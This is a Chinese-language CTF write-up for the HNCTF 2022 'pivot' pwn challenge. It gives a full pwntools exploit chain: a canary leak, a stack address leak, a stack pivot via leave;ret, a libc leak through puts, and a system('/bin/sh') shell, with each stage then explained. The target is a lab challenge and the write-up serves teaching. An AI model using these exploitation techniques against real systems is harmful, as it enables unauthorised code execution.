0%

[HNCTF 2022 WEEK2]pivot RedLeaves的WriteUp

2023-12-09 09:48By
Decline
栈迁移PWN泄露canary

完整EXP:

from PwnModules import * io, elf = get_utils('./pivot', False, 'node5.anna.nssctf.cn', 28686) init_env('amd64', 'debug') libc = ELF('/home/kaguya/PwnExp/Libc/NSS/2.35/libc-2.35.so') leave = 0x401213 rdi = 0x401343 ret = 0x401214 # Leak Canary Leak_Canary_Payload = b'A' * 0x28 + b'C' # Overwritten Canary's \x00 to make printf print canary. io.recvuntil(b'Name:\n') io.send(Leak_Canary_Payload) io.recvuntil(b'C') Canary = u64(io.recv(7).rjust(8, b'\x00')) show_addr('Canary', Canary) io.recvuntil(b'\n') io.send(b'A' * 0x108 + p64(Canary) + b'A' * 8 + p64(elf.sym['_start'])) # Re-execute _start function to restore stack. This is though read in vuln, not main. # Leak Stack addr Leak_Stack_Payload = b'A' * 0x58 io.recvuntil(b'Name:\n') io.send(Leak_Stack_Payload) stack_addr = leak_addr(2, io) show_addr('Stack addr', stack_addr) show_addr('Stack addr - 0x268', stack_addr - 0x268) # Leak libc_base # Placeholder Using GOT leak puts.plt Payload = p64(0xdeadbeef) + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['_start']) Payload = Payload.ljust(0x108, b'\x00') + p64(Canary) + p64(stack_addr - 0x268) + p64(leave) # Pivot stack to stack_addr - 0x268. Which is the RSI. io.sendafter(b'\n', Payload) libc_base = leak_addr(2, io) - libc.sym['puts'] show_addr('Base addr', libc_base) # Final Payload system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh\x00')) vuln = 0x4011B6 Payload = p64(0xdeadbeef) + p64(ret) + p64(rdi) + p64(binsh) + p64(system) + p64(0xdeadbeef) Payload = Payload.ljust(0x108, b'\x00') + p64(Canary) + p64(stack_addr - 0x490) + p64(leave) io.sendafter(b'Name:\n', b'Kaguya') io.sendafter(b'\n', Payload) io.interactive()

分析

泄露 Canary

# Leak Canary Leak_Canary_Payload = b'A' * 0x28 + b'C' # Overwritten Canary's \x00 to make printf print canary. io.recvuntil(b'Name:\n') io.send(Leak_Canary_Payload) io.recvuntil(b'C') Canary = u64(io.recv(7).rjust(8, b'\x00')) show_addr('Canary', Canary) io.recvuntil(b'\n') io.send(b'A' * 0x108 + p64(Canary) + b'A' * 8 + p64(elf.sym['_start'])) # Re-execute _start function to restore stack. This is though read in vuln, not main.

这一段Payload是用来泄露Canary的。原理是printf遇到\x00才会截止输出,我们覆盖了Canary的\x00字节成为C,以让printf成功输出Canary。
NSSIMAGE
成功泄露后,我们通过vuln函数中的栈溢出漏洞,令程序重新开始执行。(这里需要从_start开始执行,还原栈。我们覆盖了RBP,如果不这样做会出问题。)

泄露 Stack Address

泄露 Stack Address 是为了执行我们的栈迁移。
这里的偏移可以通过GDB动调得出,减去偏移后就是我们的buf起始地址。(也就是RSI寄存器的值)

# Leak Stack addr Leak_Stack_Payload = b'A' * 0x58 io.recvuntil(b'Name:\n') io.send(Leak_Stack_Payload) stack_addr = leak_addr(2, io) show_addr('Stack addr', stack_addr) show_addr('Stack addr - 0x268', stack_addr - 0x268)

泄露 Libc 基址

这里使用puts进行泄露,然后将栈迁移到stack_addr - 0x268,也就是我们的buf地址处。

# Leak libc_base # Placeholder Using GOT leak puts.plt Payload = p64(0xdeadbeef) + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['_start']) Payload = Payload.ljust(0x108, b'\x00') + p64(Canary) + p64(stack_addr - 0x268) + p64(leave) # Pivot stack to stack_addr - 0x268. Which is the RSI. io.sendafter(b'\n', Payload) libc_base = leak_addr(2, io) - libc.sym['puts'] show_addr('Base addr', libc_base)

最后一步,Pwn!

构造system('/bin/sh\x00')进行getshell。
关于为什么这里用的是stack_addr - 0x490,是因为这里的RBP是基于stack_addr - 0x268开始算的,也就是这里需要再往前推,但是你不能推2个268,不知道为什么。我没去GDB看过,但是这里接受0x490和0x498作为偏移。再低再高都会导致EOF。

# Final Payload system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh\x00')) vuln = 0x4011B6 Payload = p64(0xdeadbeef) + p64(ret) + p64(rdi) + p64(binsh) + p64(system) + p64(0xdeadbeef) Payload = Payload.ljust(0x108, b'\x00') + p64(Canary) + p64(stack_addr - 0x490) + p64(leave) io.sendafter(b'Name:\n', b'Kaguya') io.sendafter(b'\n', Payload)
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论